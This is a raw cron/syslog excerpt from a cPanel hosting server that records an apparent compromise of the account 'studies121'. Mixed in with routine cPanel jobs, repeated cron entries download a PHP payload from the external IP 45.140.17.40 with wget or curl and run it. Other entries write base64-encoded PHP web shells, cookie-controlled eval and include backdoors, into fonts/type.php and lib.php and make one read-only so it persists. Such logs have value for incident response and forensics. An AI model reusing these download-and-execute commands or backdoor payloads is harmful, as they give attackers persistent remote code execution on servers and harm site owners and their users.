Sep  6 15:42:01 ip-184-168-122-23 CROND[22140]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 15:42:01 ip-184-168-122-23 CROND[22143]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:42:01 ip-184-168-122-23 CROND[22144]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:42:01 ip-184-168-122-23 CROND[22147]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 15:42:01 ip-184-168-122-23 CROND[22148]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 15:43:01 ip-184-168-122-23 CROND[22297]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:43:01 ip-184-168-122-23 CROND[22298]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 15:43:01 ip-184-168-122-23 CROND[22301]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 15:43:01 ip-184-168-122-23 CROND[22299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:44:01 ip-184-168-122-23 CROND[22406]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 15:44:01 ip-184-168-122-23 CROND[22408]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 15:44:01 ip-184-168-122-23 CROND[22407]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 15:44:01 ip-184-168-122-23 CROND[22410]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:44:01 ip-184-168-122-23 CROND[22412]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:45:01 ip-184-168-122-23 CROND[22619]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:45:01 ip-184-168-122-23 CROND[22620]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 15:45:01 ip-184-168-122-23 CROND[22622]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 15:45:01 ip-184-168-122-23 CROND[22621]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 15:45:01 ip-184-168-122-23 CROND[22624]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 15:45:01 ip-184-168-122-23 CROND[22625]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:46:01 ip-184-168-122-23 CROND[22774]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 15:46:01 ip-184-168-122-23 CROND[22775]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 15:46:01 ip-184-168-122-23 CROND[22778]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 15:46:01 ip-184-168-122-23 CROND[22782]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  6 15:46:01 ip-184-168-122-23 CROND[22783]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:46:01 ip-184-168-122-23 CROND[22780]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 15:46:01 ip-184-168-122-23 CROND[22784]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:47:01 ip-184-168-122-23 CROND[22957]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:47:01 ip-184-168-122-23 CROND[22954]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:47:01 ip-184-168-122-23 CROND[22956]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 15:47:01 ip-184-168-122-23 CROND[22955]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 15:48:01 ip-184-168-122-23 CROND[23107]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:48:01 ip-184-168-122-23 CROND[23108]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 15:48:01 ip-184-168-122-23 CROND[23112]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 15:48:01 ip-184-168-122-23 CROND[23111]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 15:48:01 ip-184-168-122-23 CROND[23114]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:49:02 ip-184-168-122-23 CROND[23222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 15:49:02 ip-184-168-122-23 CROND[23223]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 15:49:02 ip-184-168-122-23 CROND[23226]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:49:02 ip-184-168-122-23 CROND[23228]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:50:01 ip-184-168-122-23 CROND[23340]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 15:50:01 ip-184-168-122-23 CROND[23343]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 15:50:01 ip-184-168-122-23 CROND[23346]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:50:01 ip-184-168-122-23 CROND[23347]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 15:50:01 ip-184-168-122-23 CROND[23348]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:50:01 ip-184-168-122-23 CROND[23344]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 15:50:01 ip-184-168-122-23 CROND[23351]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 15:50:01 ip-184-168-122-23 CROND[23345]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 15:50:01 ip-184-168-122-23 CROND[23357]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 15:51:02 ip-184-168-122-23 CROND[23462]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 15:51:02 ip-184-168-122-23 CROND[23461]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:51:02 ip-184-168-122-23 CROND[23463]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:51:02 ip-184-168-122-23 CROND[23464]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 15:52:01 ip-184-168-122-23 CROND[23565]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 15:52:01 ip-184-168-122-23 CROND[23567]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:52:01 ip-184-168-122-23 CROND[23570]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:52:01 ip-184-168-122-23 CROND[23568]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 15:52:01 ip-184-168-122-23 CROND[23569]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 15:53:01 ip-184-168-122-23 CROND[23770]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 15:53:01 ip-184-168-122-23 CROND[23773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:53:01 ip-184-168-122-23 CROND[23772]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:53:01 ip-184-168-122-23 CROND[23774]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 15:54:01 ip-184-168-122-23 CROND[23907]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 15:54:01 ip-184-168-122-23 CROND[23908]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
